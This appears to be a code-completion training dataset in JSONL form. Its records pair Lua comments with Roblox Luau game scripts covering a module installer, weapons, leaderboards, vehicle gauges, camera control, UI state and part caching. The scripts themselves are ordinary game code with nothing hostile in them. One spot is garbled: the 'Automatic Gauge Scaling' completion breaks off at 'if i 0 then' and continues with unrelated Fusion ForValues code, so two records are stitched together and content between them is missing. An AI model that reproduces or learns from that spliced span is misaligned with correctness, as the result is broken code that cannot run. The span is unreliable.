{\n\tverboseLogging = false,\n\tpruneDevelopmentFiles = true,\n}\n\nlocal function install(devModule: Instance, options: Options?)\n\tlocal devModuleType = typeof(devModule)\n\tassert(devModuleType == \"Instance\", (\"expected a DevModule to install, got %s\"):format(devModuleType))\n\n\tassert(devModule.Parent, (\"%s must be parented to be installed\"):format(devModule.Name))\n\n\tlocal mergedOptions = defaultOptions\n\tfor key, value in pairs(options or {}) do\n\t\tmergedOptions[key] = value\n\tend\n\n\tif mergedOptions.verboseLogging then\n\t\tuseVerboseLogging = mergedOptions.verboseLogging\n\tend\n\n\tevents.started:Fire()\n\n\tlog(\"info\", (\"Installing %s from %s...\"):format(devModule.Name, devModule.Parent.Name))\n\n\tlocal devModuleScripts = getDevModuleScripts(devModule)\n\tassertScriptsAreDisabled(devModuleScripts)\n\n\tif constants.DEV_MODULE_STORAGE:FindFirstChild(devModule.Name) then\n\t\tlog(\"info\", \"A version of this DevModule already exists. Skipping...\")\n\t\tdevModule:Destroy()\n\t\treturn\n\tend\n\n\tif mergedOptions.pruneDevelopmentFiles then\n\t\tlog(\"info\", \"Pruning development files...\")\n\t\tprune(devModule)\n\tend\n\n\t-- The `true` flag searches all descendants of an instance, which is needed\n\t-- here since the Packages folder is nested.\n\tlocal packages = devModule:FindFirstChild(constants.PACKAGE_NAME, true)\n\tif packages then\n\t\tlog(\"info\", \"Linking packages...\")\n\t\tdedupePackages(packages)\n\tend\n\n\tlog(\"info\", \"Overlaying services...\")\n\tfor _, child in ipairs(devModule:GetChildren()) do\n\t\t-- GetService errors if the given name is not a service so we wrap it in\n\t\t-- a pcall to use the result in a conditional.\n\t\tlocal success, service = pcall(function()\n\t\t\treturn game:GetService(child.Name)\n\t\tend)\n\n\t\tif success then\n\t\t\toverlay(child, service)\n\t\tend\n\tend\n\n\tlog(\"info\", \"Enabling scripts...\")\n\tfor _, devModuleScript in ipairs(devModuleScripts) do\n\t\tdevModuleScript.Disabled = false\n\t\tlog(\"info\", (\"Enabled %s\"):format(devModuleScript.Name))\n\tend\n\n\tevents.finished:Fire()\n\n\tlog(\"info\", (\"Safe to remove %s\"):format(devModule:GetFullName()))\n\tlog(\"info\", (\"Removing %s...\"):format(devModule:GetFullName()))\n\tdevModule:Destroy()\n\n\tlog(\"info\", (\"Successfully installed %s!\"):format(devModule.Name))\nend\n\nreturn install\n"} +{"prompt": "---------------------------------------Function end here.", "completion": "\nend\n\n\nTool.Enabled = true\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\t--Tool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tlocal targetPos = humanoid.TargetPoint\n\tlocal lookAt = (targetPos - character.Head.Position).unit\n\t\n\tif (check()) then\n\tfire(lookAt)\n\twait(0.001)\n\tonActivated()\n\tend\n\treturn\n\n\t--Tool.Enabled = true\nend\n\n\nscript.Parent.Activated:connect(onActivated)\n"} +{"prompt": "-- this what elder doing", "completion": "\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nlocal Player = game:GetService(\"Players\").LocalPlayer\nlocal Group = require(game.ReplicatedStorage:WaitForChild(\"Group\"))\nlocal GID = Group.GroupID\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nlocal u1 = nil;\nlocal u2 = nil;\nfunction Update()\n\tif u1 then else\n\t\treturn;\n\tend;\n\tif not u2 then\n\t\treturn;\n\tend;\n\n\tlocal v2 = u1.Main:FindFirstChildOfClass(\"SurfaceGui\");\n\tfor v4, v5 in pairs(u2) do\n\t\tlocal v6 = v2.Frame:FindFirstChild(\"Spot\" .. tostring(v4));\n\t\tlocal v9;\n\t\tif not v6 then\n\t\t\tlocal v8 = v1.Assets.UI.Leaderboard.Spot:Clone();\n\t\t\tlocal v7 = v4 <= 3;\n\t\t\tv8.LayoutOrder = v4;\n\t\t\tv8.Rank.Text = \"#\" .. v4;\n\t\t\tv8.Name = \"Spot\" .. v4;\n\t\t\tif v7 then\n\t\t\t\tv9 = 50;\n\t\t\telse\n\t\t\t\tv9 = 45;\n\t\t\tend;\n\t\t\tv8.Size = UDim2.new(1, 0, 0, v9);\n\t\t\tv8.Rank.TextColor3 = v7 and Color3.fromRGB(180, 170, 31) or Color3.fromRGB(102, 102, 102);\n\t\t\tv8.Parent = v2.Frame;\n\t\t\tv8.Score.Text = v1.Functions.NumberShorten(v5.level, false);\n\t\t\tv8.Username.Text = \"@\" .. v5.username;\n\t\t\tif v5.username == v1.LocalPlayer.Name then\n\t\t\t\tv8.Username.TextColor3 = Color3.fromRGB(28, 134, 173);\n\t\t\telse\n\t\t\t\tv8.Username.TextColor3 = Color3.fromRGB(121, 121, 121);\n\t\t\tend;\n\t\tend;\t\n\tend;\n\tv2.Frame.CanvasSize = UDim2.new(0, 0, 0, v2.Frame:FindFirstChildOfClass(\"UIListLayout\").AbsoluteContentSize.Y);\nend;\nfunction Grab()\n\tlocal v10 = v1.Network.Invoke(\"Get Global Leaderboard\");\n\tif v10 then\n\t\tu2 = v10;\n\t\t--table.foreach(u2, warn)\n\t\tUpdate();\n\tend;\nend;\nfunction Check()\n\tlocal v11 = v1.WorldCmds.GetMap();\n\tif v11:FindFirstChild(\"Interactive\") then\n\n\telse\n\t\treturn;\n\tend;\n\tu1 = v11.Interactive:FindFirstChild(\"Leaderboard\");\n\n\tif not u1 then return end;\n\n\tUpdate();\nend;\nv1.Signal.Fired(\"World Changed\"):Connect(function()\n\tu1 = nil;\n\tCheck();\nend);\ncoroutine.wrap(function()\n\twhile true do\n\t\tif u1 then\n\t\t\tGrab();\n\t\tend;\n\t\twait(5);\t\n\tend;\nend)();\n\n\n"} +{"prompt": "--freeze the character", "completion": "\nDisableMove()\n\nIceForm = Instance.new(\"Sound\")\nIceForm.Name = \"IceForm\"\nIceForm.SoundId = \"rbxassetid://\"..formSounds[math.random(1,#formSounds)]\nIceForm.Parent = Head\nIceForm.PlaybackSpeed = 1\nIceForm.Volume = 1.5\ngame.Debris:AddItem(IceForm, 10)\ntask.delay(0, function() IceForm:Play() end)\n\nfor i, v in pairs(charParts) do\n\tdo\n\t\tlocal clone = v:Clone()\n\t\tif v.Name == \"Head\" and v:FindFirstChild(\"Mesh\") then\n\t\t\tif pcall(function()\n\t\t\t\treturn v.Mesh.MeshType == Enum.MeshType.Head\n\t\t\tend) then\n\t\t\t\tclone:Destroy()\n\t\t\t\tclone = game.ReplicatedStorage.Miscs.Head:Clone()\n\t\t\tend\n\t\tend\n\t\tclone.Massless = true\n\t\tclone:BreakJoints()\n\t\tclone.Name = \"IcePart\"\n\t\tclone.Color = Color3.fromRGB(128, 187, 219)\n\t\tclone.Size = clone.Size * scaleFactor * 0.95\n\t\tclone.CanCollide = false\n\t\tclone.Anchored = false\n\t\tclone.Transparency = 0.5\n\t\tclone.BottomSurface = \"Smooth\"\n\t\tclone.TopSurface = \"Smooth\"\n\t\tclone.Material = Enum.Material.SmoothPlastic\n\t\tfor _, c in pairs(clone:GetChildren()) do\n\t\t\tif not c:IsA(\"DataModelMesh\") then\n\t\t\t\tc:Destroy()\n\t\t\telseif c:IsA(\"SpecialMesh\") and c.MeshType == Enum.MeshType.FileMesh then\n\t\t\t\tc.TextureId = \"\"\n\t\t\t\tc.Scale = c.Scale * scaleFactor\n\t\t\t\tclone.Size = v.Size * scaleFactor\n\t\t\tend\n\t\tend\n\t\tif customPackageMeshes[string.gsub(v.Name, \" \", \"\")] then\n\t\t\tlocal m = Instance.new(\"SpecialMesh\")\n\t\t\tm.MeshId = \"rbxassetid://\"..customPackageMeshes[string.gsub(v.Name, \" \", \"\")]\n\t\t\tm.Scale = m.Scale * scaleFactor\n\t\t\tm.Parent = clone\n\t\t\tclone.Size = v.Size * scaleFactor\n\t\tend\n\t\tclone.Parent = character\n\t\tlocal w = Instance.new(\"Weld\")\n\t\tw.Parent = clone\n\t\tw.Part0 = v\n\t\tw.Part1 = clone\n\t\ttable.insert(iceParts, clone)\n\tend\nend\n"} +{"prompt": "-- ALEX WAS HERE LOL", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p1, p2, ...)\n\tlocal v2, v3 = ...;\n\tlocal v4 = v3 or Color3.fromRGB(111, 111, 111);\n\tp1.title.Text = v2;\n\t\n\tif v4 == \"Dark Matter\" then\n\t\tcoroutine.wrap(function()\n\t\t\twhile not p1.Parent do\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\t\tlocal v5 = os.clock();\n\t\t\twhile p1 and p1.Parent do\n\t\t\t\tp1.title.back.BackgroundColor3 = Color3.fromRGB(57, 8, 70):Lerp(Color3.fromRGB(0, 0, 0), math.sin((os.clock() - v5) * 50) / 2 + 0.5);\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\tend)();\n\t\treturn;\n\tend;\n\t\n\tif v4 == \"Ghost\" then\n\t\tcoroutine.wrap(function()\n\t\t\twhile not p1.Parent do\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\t\tlocal v5 = os.clock();\n\t\t\twhile p1 and p1.Parent do\n\t\t\t\tp1.title.back.BackgroundColor3 = Color3.fromRGB(177, 177, 177):Lerp(Color3.fromRGB(206, 206, 206), math.sin((os.clock() - v5) * 50) / 2 + 0.5);\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\tend)();\n\t\treturn;\n\tend;\n\tif v4 == \"Rainbow\" then\n\t\tcoroutine.wrap(function()\n\t\t\twhile not p1.Parent do\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\t\tv1.GUIFX.Rainbow(p1.title.back, \"BackgroundColor3\", 3);\n\t\tend)();\n\t\treturn;\n\tend;\n\tif v4 == \"Golden\" then\n\t\tcoroutine.wrap(function()\n\t\t\twhile not p1.Parent do\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\t\tlocal v6 = os.clock();\n\t\t\twhile p1 and p1.Parent do\n\t\t\t\tp1.title.back.BackgroundColor3 = Color3.fromRGB(255, 253, 184):Lerp(Color3.fromRGB(255, 213, 61), math.sin((os.clock() - v6) * 4) / 2 + 0.5);\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\tend)();\n\t\treturn;\n\tend;\n\t\n\tif v4 == \"Hardcore\" then\n\t\tcoroutine.wrap(function()\n\t\t\twhile not p1.Parent do\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\t\tlocal v6 = os.clock();\n\t\t\twhile p1 and p1.Parent do\n\t\t\t\tp1.title.back.BackgroundColor3 = Color3.fromRGB(97, 121, 255):Lerp(Color3.fromRGB(73, 89, 244), math.sin((os.clock() - v6) * 4) / 2 + 0.5);\n\t\t\t\tv1.RenderStepped();\t\t\t\n\t\t\tend;\n\t\tend)();\n\t\treturn;\n\tend;\n\tif v4 == \"Shiny\" then\n\t\tp1.title.back.BackgroundColor3 = Color3.fromRGB(255, 255, 255);\n\t\tv1.Assets.UI.Inventory.ShinyGradient:Clone().Parent = p1.title.back;\n\t\treturn;\n\tend;\n\t--p1.title.back.BackgroundColor3 = v4;\n\t--[[if v4 ~= \"Hardcore\" then\n\t\tp1.title.back.BackgroundColor3 = v4;\n\t\treturn;\n\tend;]]--\n\n\tp1.title.back.BackgroundColor3 = v4;\n\tv1.Assets.UI.Inventory.Hardcore:Clone().Parent = p1.title.back;\nend;\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_->\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "local Owner local HeadAdmin local Admin local Mod local VIP--[[\nauto\t\t\t\t\tOwner\t\t\t-- Type ;cmds to view all Owner commands\n4\t\t\t\t\t\tHeadAdmin\t\t-- Type ;cmds to view all HeadAdmin commands\n3\t\t\t\t\t\tAdmin\t\t\t-- Type ;cmds to view all Admin commands\n2\t\t\t\t\t\tMod\t\t\t\t-- Type ;cmds to view all Mod commands\n1\t\t\t\t\t\tVIP\t\t\t\t-- Can only use commands on their player. Type ;cmds to view all VIP commands\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n0\t\t\t\t\t\tEveryone\t\t-- Setting a command to this permission type will allow anyone to use it\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\n"} +{"prompt": "--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]]", "completion": "--\nfunction OrbitalCamera:GetCameraToSubjectDistance()\n\treturn self.curDistance\nend\n\nfunction OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\tlocal player = PlayersService.LocalPlayer\n\tif player then\n\t\tself.currentSubjectDistance = math.clamp(desiredSubjectDistance, self.minDistance, self.maxDistance)\n\n\t\t-- OrbitalCamera is not allowed to go into the first-person range\n\t\tself.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD)\n\tend\n\tself.inFirstPerson = false\n\tself:UpdateMouseBehavior()\n\treturn self.currentSubjectDistance\nend\n\nfunction OrbitalCamera:CalculateNewLookVector(suppliedLookVector, xyRotateVector)\n\tlocal currLookVector = suppliedLookVector or self:GetCameraLookVector()\n\tlocal currPitchAngle = math.asin(currLookVector.y)\n\tlocal yTheta = math.clamp(xyRotateVector.y, currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG))\n\tlocal constrainedRotateInput = Vector2.new(xyRotateVector.x, yTheta)\n\tlocal startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)\n\tlocal newLookVector = (CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)).lookVector\n\treturn newLookVector\nend\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 30; -- Torso Damage\n\tLimbDamage = 30; -- Arms and Legs\n\tArmorDamage = 15; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 42; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "--Find if character aleady exists", "completion": "\nif Player.Character~= nil then\n\tCharacter = Player.Character\n\tHRP = Character:WaitForChild(\"HumanoidRootPart\")\n\tHumanoid = Character:WaitForChild(\"Humanoid\")\nend\n\nfunction EnterStart(Type)\n\tif not EnterKeyDown then\n\t\tEnterKeyDown = true\n\t\tSwitchButtonType(Type)\n\t\tlocal i = 0\n\t\tlocal TilesX = 6\n\t\tlocal TileSize = 170.66667\n\t\tlocal NumberTiles = 36\n\t\tRingSprite.ImageColor3 = Color3.new(0.8,0.82,1)\n\t\t--Tell server we're trying to get in \n\t\tRemotes.GetInStart:FireServer(AdornedSeat)\n\t\t--Play sprite sheet animation\n\t\tlocal TargetSeat = AdornedSeat\n\t\tlocal StartTime = elapsedTime()\n\t\twhile EnterKeyDown and AdornedSeat do\n\t\t\tlocal TimeDelta = elapsedTime()-StartTime\n\t\t\tlocal FrameNum = math.floor( (TimeDelta/TimeToEnter)*NumberTiles + 0.5 )\n\t\t\tlocal X = FrameNum%6\n\t\t\tlocal Y = math.floor(FrameNum/6)\n\t\t\tRingSprite.ImageRectOffset = Vector2.new(X*TileSize,Y*TileSize)\n\t\t\twait()\n\t\t\tprint(X)\n\t\t\t--Get in the seat\n\t\t\tif TimeDelta >= TimeToEnter then\n\t\t\t\tButtonImage.Visible = false\n\t\t\t\tRemotes.GetInSeat:FireServer(AdornedSeat)\n\t\t\t\tlocal n = 0\n\t\t\t\trepeat\n\t\t\t\t\twait()\n\t\t\t\tuntil AdornedSeat == nil or n>20\n\t\t\t\tButtonImage.Visible = true\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\t--Tell server we are no longer getting in the seat \n\t\tRemotes.GetInEnd:FireServer(TargetSeat)\n\t\t--Reset the button gui\n\t\tRingSprite.ImageRectOffset = Vector2.new(0,0)\n\t\tRingSprite.ImageColor3 = Color3.new(1,1,1)\n\tend\nend\n"} +{"prompt": "--//Server Animations", "completion": "\n\tRightHighReady = CFrame.new(-0.95, 0, .2) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));\n\tLeftHighReady = CFrame.new(0.6,0.1,-.3) * CFrame.Angles(math.rad(-140),math.rad(40),math.rad(15));\n\t\n\tRightLowReady = CFrame.new(-1, -0.2, -.15) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0));\n\tLeftLowReady = CFrame.new(.7,-.2,.17) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));\n\t\n\tRightAim = CFrame.new(-.65, .42, .35) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));\n\tLeftAim = CFrame.new(.9,.3,.55) * CFrame.Angles(math.rad(-65),math.rad(30),math.rad(-25));\n\t\n\tRightSprint = CFrame.new(-0.95, 0, .2) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));\n\tLeftSprint = CFrame.new(0.6,0.1,-.3) * CFrame.Angles(math.rad(-140),math.rad(40),math.rad(15));\n\t\n\tShootPos = CFrame.new(0,0,.15);\n\t\n}\n\nreturn module\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p1, p2, p3)\n\tp1.title.Text = \"#\" .. v1.Functions.Commas(p3);\nend;\n"} +{"prompt": "--- Returns an ArgumentContext for the specific index", "completion": "\nfunction Command:GetArgument (index)\n\treturn self.Arguments[index]\nend\n"} +{"prompt": "--[[Drivetrain Initialize]]", "completion": "\n\n\tlocal Drive={}\n\t\n\t--Power Front Wheels\n\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\ttable.insert(Drive,v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Power Rear Wheels\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then\n\t\t\t\ttable.insert(Drive,v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Determine Wheel Size\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\t\n\t--Pre-Toggled PBrake\n\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\tif math.abs(v[\"#AV\"].maxTorque.Magnitude-PBrakeForce)<1 then\n\t\t\t_PBrake=true\n\t\tend\n\tend\n\t\n\t\n"} +{"prompt": "-------------------------------------------", "completion": "\nwhile true do\n\tif Tracker.Value then\n\t\tif Tracker.Value.Parent == game.Workspace then\n\t\t\tMissile.CFrame = CFrame.new(Missile.Position,Tracker.Value.Position)\n\t\t\tBV.velocity = Missile.CFrame.lookVector * 1500\n\t\telseif Tracker.Value.Parent == game.Lighting then\n\t\t\tbreak\n\t\tend\n\tend\n\twait()\nend\n"} +{"prompt": "--Automatic Gauge Scaling", "completion": "\nif autoscaling then\n\tlocal Drive={}\n\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"FL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"FR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"F\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.F)\n\t\tend\n\tend\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"RL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"RR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"R\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.R)\n\t\tend\n\tend\n\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\tDrive = nil\n\tfor i,v in pairs(UNITS) do\n\t\tv.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)\n\t\tv.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)\n\tend\nend\n\nfor i=0,revEnd*2 do\n\tlocal ln = script.Parent.ln:clone()\n\tln.Parent = script.Parent.Tach\n\tln.Rotation = 45 + i * 225 / (revEnd*2)\n\tln.Num.Text = i/2\n\tln.Num.Rotation = -ln.Rotation\n\tif i*500>=math.floor(_pRPM/500)*500 then\n\t\tln.Frame.BackgroundColor3 = Color3.new(1,0,0)\n\t\tif i 0 then\n\t\t\tlocal valueInfo = table.remove(oldCachedValues, #oldCachedValues)\n\t\t\tvalue = valueInfo.value\n\t\t\tvalueData = valueInfo.valueData\n\t\t\tmeta = valueInfo.meta\n\n\t\t\tif #oldCachedValues <= 0 then\n\t\t\t\toldValueCache[inValue] = nil\n\t\t\tend\n\t\telseif oldCachedValues ~= nil then\n\t\t\toldValueCache[inValue] = nil\n\t\t\tshouldRecalculate = true\n\t\tend\n\n\t\tif valueData == nil then\n\t\t\tvalueData = {\n\t\t\t\tdependencySet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t\t\toldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t\t\tdependencyValues = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t\t}\n\t\tend\n\n\t\t-- check if the value's dependencies have changed\n\t\tif shouldRecalculate == false then\n\t\t\tfor dependency, oldValue in pairs(valueData.dependencyValues) do\n\t\t\t\tif oldValue ~= dependency:get(false) then\n\t\t\t\t\tshouldRecalculate = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t-- recalculate the output value if necessary\n\t\tif shouldRecalculate then\n\t\t\tvalueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet\n\t\t\ttable.clear(valueData.dependencySet)\n\n\t\t\tlocal processOK, newOutValue, newMetaValue = captureDependencies(\n\t\t\t\tvalueData.dependencySet,\n\t\t\t\tself._processor,\n\t\t\t\tinValue\n\t\t\t)\n\n\t\t\tif processOK then\n\t\t\t\tif self._destructor == nil and (needsDestruction(newOutValue) or needsDestruction(newMetaValue)) then\n\t\t\t\t\tlogWarn(\"destructorNeededForValues\")\n\t\t\t\tend\n\n\t\t\t\t-- pass the old value to the destructor if it exists\n\t\t\t\tif value ~= nil then\n\t\t\t\t\tlocal destructOK, err = xpcall(self._destructor or cleanup, parseError, value, meta)\n\t\t\t\t\tif not destructOK then\n\t\t\t\t\t\tlogErrorNonFatal(\"forValuesDestructorError\", err)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- store the new value and meta data\n\t\t\t\tvalue = newOutValue\n\t\t\t\tmeta = newMetaValue\n\t\t\t\tdidChange = true\n\t\t\telse\n\t\t\t\t-- restore old dependencies, because the new dependencies may be corrupt\n\t\t\t\tvalueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet\n\n\t\t\t\tlogErrorNonFatal(\"forValuesProcessorError\", newOutValue)\n\t\t\tend\n\t\tend\n\n\n\t\t-- store the value and its dependency/meta data\n\t\tlocal newCachedValues = newValueCache[inValue]\n\t\tif newCachedValues == nil then\n\t\t\tnewCachedValues = {}\n\t\t\tnewValueCache[inValue] = newCachedValues\n\t\tend\n\n\t\ttable.insert(newCachedValues, {\n\t\t\tvalue = value,\n\t\t\tvalueData = valueData,\n\t\t\tmeta = meta,\n\t\t})\n\n\t\toutputValues[inKey] = value\n\n\n\t\t-- save dependency values and add to main dependency set\n\t\tfor dependency in pairs(valueData.dependencySet) do\n\t\t\tvalueData.dependencyValues[dependency] = dependency:get(false)\n\n\t\t\tself.dependencySet[dependency] = true\n\t\t\tdependency.dependentSet[self] = true\n\t\tend\n\tend\n\n\n\t-- STEP 2: find values that were removed\n\t-- for tables of data, we just need to check if it's still in the cache\n\tfor _oldInValue, oldCachedValueInfo in pairs(oldValueCache) do\n\t\tfor _, valueInfo in ipairs(oldCachedValueInfo) do\n\t\t\tlocal oldValue = valueInfo.value\n\t\t\tlocal oldMetaValue = valueInfo.meta\n\n\t\t\tlocal destructOK, err = xpcall(self._destructor or cleanup, parseError, oldValue, oldMetaValue)\n\t\t\tif not destructOK then\n\t\t\t\tlogErrorNonFatal(\"forValuesDestructorError\", err)\n\t\t\tend\n\n\t\t\tdidChange = true\n\t\tend\n\n\t\ttable.clear(oldCachedValueInfo)\n\tend\n\n\tself._outputTable = outputValues\n\n\treturn didChange\nend\n\nlocal function ForValues(\n\tinputTable: PubTypes.CanBeState<{ [any]: VI }>,\n\tprocessor: (VI) -> (VO, M?),\n\tdestructor: (VO, M?) -> ()?\n): Types.ForValues\n\n\tlocal inputIsState = inputTable.type == \"State\" and typeof(inputTable.get) == \"function\"\n\n\tlocal self = setmetatable({\n\t\ttype = \"State\",\n\t\tkind = \"ForValues\",\n\t\tdependencySet = {},\n\t\t-- if we held strong references to the dependents, then they wouldn't be\n\t\t-- able to get garbage collected when they fall out of scope\n\t\tdependentSet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t_oldDependencySet = {},\n\n\t\t_processor = processor,\n\t\t_destructor = destructor,\n\t\t_inputIsState = inputIsState,\n\n\t\t_inputTable = inputTable,\n\t\t_outputTable = {},\n\t\t_valueCache = {},\n\t\t_oldValueCache = {},\n\t}, CLASS_METATABLE)\n\n\tinitDependency(self)\n\tself:update()\n\n\treturn self\nend\n\nreturn ForValues\n"} +{"prompt": "--- Point type", "completion": "\ntype Point = {\n\tGroup: string?,\n\tCastMode: number,\n\tLastPosition: Vector3?,\n\tWorldSpace: Vector3?,\n\tInstances: {[number]: Instance | Vector3}\n}\n"} +{"prompt": "--[[\n\tGame Events\n\n\t ElevatorDisable\n\t\tWhat it does:\n\t\t\tDisables the ShaftElevator (For meltdown and destruction)\n\t\tARGS:\n\t\t\tNONE\n]]", "completion": "\n\nreturn \"\"\n"} +{"prompt": "--// Variables", "completion": "\nlocal Tool = script.Parent\nlocal L_1_ = script.Parent\nlocal L_2_ = game.Players.LocalPlayer\nlocal L_3_ = L_2_.Character\nlocal L_4_ = L_2_:GetMouse()\nlocal L_5_ = workspace.CurrentCamera\n\nlocal L_6_ = L_3_:WaitForChild('Torso')\nlocal L_7_ = L_3_:WaitForChild('Head')\nlocal L_8_ = L_3_:WaitForChild('HumanoidRootPart')\nlocal L_9_ = L_8_:WaitForChild('RootJoint')\nlocal L_10_ = L_6_:WaitForChild('Right Hip')\nlocal L_11_ = L_6_:WaitForChild('Left Hip')\n"} +{"prompt": "-- LOCAL", "completion": "\nlocal starterGui = game:GetService(\"StarterGui\")\nlocal guiService = game:GetService(\"GuiService\")\nlocal hapticService = game:GetService(\"HapticService\")\nlocal runService = game:GetService(\"RunService\")\nlocal userInputService = game:GetService(\"UserInputService\")\nlocal tweenService = game:GetService(\"TweenService\")\nlocal players = game:GetService(\"Players\")\nlocal VRService = game:GetService(\"VRService\")\nlocal voiceChatService = game:GetService(\"VoiceChatService\")\nlocal localizationService = game:GetService(\"LocalizationService\")\nlocal iconModule = script.Parent\nlocal TopbarPlusReference = require(iconModule.TopbarPlusReference)\nlocal referenceObject = TopbarPlusReference.getObject()\nlocal leadPackage = referenceObject and referenceObject.Value\nif leadPackage and leadPackage.IconController ~= script then\n\treturn require(leadPackage.IconController)\nend\nif not referenceObject then\n TopbarPlusReference.addToReplicatedStorage()\nend\nlocal IconController = {}\nlocal Signal = require(iconModule.Signal)\nlocal TopbarPlusGui = require(iconModule.TopbarPlusGui)\nlocal topbarIcons = {}\nlocal forceTopbarDisabled = false\nlocal menuOpen\nlocal topbarUpdating = false\nlocal cameraConnection\nlocal controllerMenuOverride\nlocal isStudio = runService:IsStudio()\nlocal localPlayer = players.LocalPlayer\nlocal voiceChatIsEnabledForUserAndWithinExperience = false\nlocal disableControllerOption = false\nlocal STUPID_CONTROLLER_OFFSET = 32\n\n\n"} +{"prompt": "-- Destroys this cache entirely. Use this when you don't need this cache object anymore.", "completion": "\nfunction PartCacheStatic:Dispose()\n\tassert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format(\"Dispose\", \"PartCache.new\"))\n\tfor i = 1, #self.Open do\n\t\tself.Open[i]:Destroy()\n\tend\n\tfor i = 